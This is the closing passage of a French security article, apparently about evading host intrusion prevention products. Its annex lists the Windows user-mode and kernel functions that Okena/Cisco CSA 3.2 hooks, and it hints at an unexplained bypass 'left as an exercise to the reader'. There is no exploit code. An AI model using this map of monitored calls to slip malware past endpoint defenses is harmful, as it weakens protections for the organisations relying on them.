     NtEnumerateValueKey
     NtLoadKey
     NtLoadKey2
     NtQueryKey
     NtQueryMultipleValueKey
     NtQueryValueKey
     NtReplaceKey
     NtRestoreKey
     NtSetValueKey
     NtMakeTemporaryObject
     NtSetContextThread
     NtSetInformationProcess
     NtSetSecurityObject
     NtTerminateProcess



Annexe B : Détournements de Okena/Cisco CSA 3.2

Okena/CSA détourne beaucoup de fonction en mode utilisateur mais beaucoup
moins en mode noyau. Beaucoup de détournements en mode utilisatuers sont
les mêmes que ceux d'Entercept. Cependant, presque toutes les fonctions
détournées en noyau par Okena/CSA sont relative à l'altération de clefs
dans le registre de Windows. Okena/CSA ne semble pas autant concerné par
le retour sur trace d'appels dans le noyau qu'Entercept. Ceci nous mène à
une vulnérabilité intéressante, laissée en exercice au lecteur.


User Land
     kernel32.dll
          CreateProcessA
          CreateProcessW
          CreateRemoteThread
          CreateThread
          FreeLibrary
          LoadLibraryA
          LoadLibraryExA
          LoadLibraryExW
          LoadLibraryW
          LoadModule
          OpenProcess
          VirtualProtect
          VirtualProtectEx
          WinExec
          WriteProcessMemory
    ole32.dll
          CoFileTimeToDosDateTime
          CoGetMalloc
          CoGetStandardMarshal
          CoGetState
          CoResumeClassObjects
          CreateObjrefMoniker
          CreateStreamOnHGlobal
          DllGetClassObject
          StgSetTimes
          StringFromCLSID
     oleaut32.dll
          LPSAFEARRAY_UserUnmarshal
     urlmon.dll
          CoInstall

Kernel  
     NtCreateKey
     NtOpenKey
     NtDeleteKey
     NtDeleteValueKey
     NtSetValueKey
     NtOpenProcess
     NtWriteVirtualMemory     


|=[ EOF ]=---------------------------------------------------------------=|